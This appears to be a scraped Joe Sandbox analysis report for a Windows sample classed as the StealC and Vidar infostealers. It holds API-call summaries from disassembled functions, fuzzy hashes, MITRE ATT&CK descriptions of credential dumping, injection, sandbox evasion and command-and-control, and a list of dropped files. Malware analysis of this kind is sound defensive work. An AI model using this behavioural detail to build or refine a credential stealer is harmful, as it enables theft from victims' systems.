Part of subcall function 6C3290E0: free.MOZGLUE(?,00000000,?,?,6C32DEDB), ref: 6C329108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C32B2C9,?,?,?,6C32B127,?,?,?,?,?,?,?,?,?,6C32AE52), ref: 6C32B67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C32B2C9,?,?,?,6C32B127,?,?,?,?,?,?,?,?,?,6C32AE52), ref: 6C32B708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6C32B127,?,?,?,?,?,?,?,?), ref: 6C32B74D

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: f6ed8ef838c5b3842f2a0c7541dbbffe97ed3cade28352b2ecf4f21c97991898
Instruction ID: baa25cbfcbaae4d335e10c7385e0d226446aa5c93ab22a6cf38eabe10c89639d
Opcode Fuzzy Hash: f6ed8ef838c5b3842f2a0c7541dbbffe97ed3cade28352b2ecf4f21c97991898
Instruction Fuzzy Hash: D4518C71A052168FDF14CF58C984A6EB7B5FF85308F558529C89BAB710DB39E804CFA1

Function 6C32DF90 Relevance: 5.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C31FF2A), ref: 6C32DFFD

Part of subcall function 6C3290E0: free.MOZGLUE(?,00000000,?,?,6C32DEDB), ref: 6C3290FF
Part of subcall function 6C3290E0: free.MOZGLUE(?,00000000,?,?,6C32DEDB), ref: 6C329108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C31FF2A), ref: 6C32E04A
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C31FF2A), ref: 6C32E0C0
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,6C31FF2A), ref: 6C32E0FE

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 8a6708b73038d2a4703fe693c29ac736c59856ec23c317ec8df39d019a8241af
Instruction ID: ff30495d844f1a9c525c36f8fd611aa38e8a28bcfc4061738f2f28b3814e8c92
Opcode Fuzzy Hash: 8a6708b73038d2a4703fe693c29ac736c59856ec23c317ec8df39d019a8241af
Instruction Fuzzy Hash: D141DFB16003068BEF14CF69D88279AB3B6AB45709F148539C516DB740E736E805CFE2

Function 6C336180 Relevance: 5.1, APIs: 4, Instructions: 107COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6C3361DD
memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6C33622C
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C336250
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C336292

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: a55375c16a379815f352bac36e2d9a98e7d42f5a056b18a93822e84def503588
Instruction ID: 05d893a08c3cb45f896c419aa86519d0ff7deef0b8703e67d36cbfeb81cfd44f
Opcode Fuzzy Hash: a55375c16a379815f352bac36e2d9a98e7d42f5a056b18a93822e84def503588
Instruction Fuzzy Hash: C731E971A0065A8FDB04CF2CDC80AAA73F9FF95308F114539D95AD7652EB31E598CB60

Function 6C326E50 Relevance: 5.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000018), ref: 6C326EAB
memcpy.VCRUNTIME140(00000000,00000018,-000000A0), ref: 6C326EFA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C326F1E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C326F5C

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: 1656e6797633153ca451c2b639b13eb9970b116c912bbafa038d4c56fcb0de6f
Instruction ID: 98a70f4f18a147dab2cff0211d1ef8682f12c873ce62c04709bff9add1cb8c03
Opcode Fuzzy Hash: 1656e6797633153ca451c2b639b13eb9970b116c912bbafa038d4c56fcb0de6f
Instruction Fuzzy Hash: BF31E571A1060A8FDF14CF2CDD806AA73F9EF84308F508139D41AD7655EB36E659CBA0

Function 6C33B580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6C2E0A4D), ref: 6C33B5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6C2E0A4D), ref: 6C33B623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6C2E0A4D), ref: 6C33B66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6C2E0A4D), ref: 6C33B67F

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: b2978830ad2d3cdd7aebf7c12019f49cf9f814ea44aa0e102e33856e5754a890
Instruction ID: 1cbf7c6602351218f5323375dcf4fa2624da8dc1ba6effcb7fbead239efc024f
Opcode Fuzzy Hash: b2978830ad2d3cdd7aebf7c12019f49cf9f814ea44aa0e102e33856e5754a890
Instruction Fuzzy Hash: EF31D471B016268FDB10CF58CC4469AFBB9FF85318F5A8569C80A9F202DB31E915CFA1

Function 6C30F5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6C30F611
memcpy.VCRUNTIME140(?,?,?), ref: 6C30F623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6C30F652
memcpy.VCRUNTIME140(?,?,?), ref: 6C30F668

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: 6403cc9836e5a9af01a19a237f1fe803647b646484a0443e8ce8e043b37bc77c
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: 68313E72B00614AFC714CF59DCC0A9A77FAEB88358B148539EA498BB05D632E9448F98

Function 00414A20 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00418880: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 004188AB

lstrcat.KERNEL32(?,00000000), ref: 00414A5A
lstrcat.KERNEL32(?,00421040), ref: 00414A77
lstrcat.KERNEL32(?,00EEAB78), ref: 00414A8B
lstrcat.KERNEL32(?,00421044), ref: 00414A9D

Part of subcall function 004143F0: wsprintfA.USER32 ref: 0041440C
Part of subcall function 004143F0: FindFirstFileA.KERNEL32(?,?), ref: 00414423

Part of subcall function 004143F0: StrCmpCA.SHLWAPI(?,00420FAC), ref: 00414451
Part of subcall function 004143F0: StrCmpCA.SHLWAPI(?,00420FB0), ref: 00414467
Part of subcall function 004143F0: FindNextFileA.KERNEL32(000000FF,?), ref: 0041465D
Part of subcall function 004143F0: FindClose.KERNEL32(000000FF), ref: 00414672

Memory Dump Source

Source File: 00000002.00000002.2377548003.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2377548003.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID:
API String ID: 2667927680-0
Opcode ID: 1543a4c4e437fdf6423f8a4b87b2f2544082d1939c622b96fdf112040919d067
Instruction ID: 8dbf70b05384144c92fb0b395b2fe843caac1dc39a8cdd365ca80c12b48963c0
Opcode Fuzzy Hash: 1543a4c4e437fdf6423f8a4b87b2f2544082d1939c622b96fdf112040919d067
Instruction Fuzzy Hash: B6214F76A002086BC724FBA0EC42EDD373DAF94304F40845EB94A571D1EE7856C98BA5

Function 6C2EB940 Relevance: 5.1, APIs: 4, Instructions: 64COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6C2EB96F
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020), ref: 6C2EB99A
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C2EB9B0
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C2EB9B9

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: memcpy$freemalloc
String ID:
API String ID: 3313557100-0
Opcode ID: 07d616016879191c9ca397a9aa2480505e6f65f5fa2b0c9bec89819c786c6c86
Instruction ID: dbf96223da1846effc16c7d578b41027b3c95470d5f271c618b54bda1951c1cc
Opcode Fuzzy Hash: 07d616016879191c9ca397a9aa2480505e6f65f5fa2b0c9bec89819c786c6c86
Instruction Fuzzy Hash: E2114FB1A003099FCB04DF69D8808ABB7F9BF98314B14853AE919D7701D731E919CAA5

Function 6C3226B0 Relevance: 5.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C3226C1
free.MOZGLUE(?), ref: 6C3226E4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C3226FF
free.MOZGLUE ref: 6C32270D

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 4773dd39f061d90e7d58fc35a571287afeee7cb68277da7e4c3d813fc2020475
Instruction ID: be8677693a857f6aa62941f3a6911adb79af5c07e123dfa07a964e7e18cdffb1
Opcode Fuzzy Hash: 4773dd39f061d90e7d58fc35a571287afeee7cb68277da7e4c3d813fc2020475
Instruction Fuzzy Hash: 3AF0F9B2B012045BEB009A18EC88D47B3ADEF4522CB500035EE16D3B02E377F919CA91

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Vidar

Yara Signatures

Initial Sample

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AAKKKEBFCGDBGDGCFHCB

C:\ProgramData\BAEHIEBG

C:\ProgramData\DAEBFHJKJEBFCBFHDAEG

C:\ProgramData\DBKEHDGD

C:\ProgramData\EBAFHCBFHDHCAAKFHDGDBKFCGC

C:\ProgramData\HJJDGHCBGD.exe

C:\ProgramData\IEHDBGDHDAECBGDHJKFIDGCBFB

C:\ProgramData\IIIJECAEGDHIDHJKKKKF

Windows Analysis Report
file.exe

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre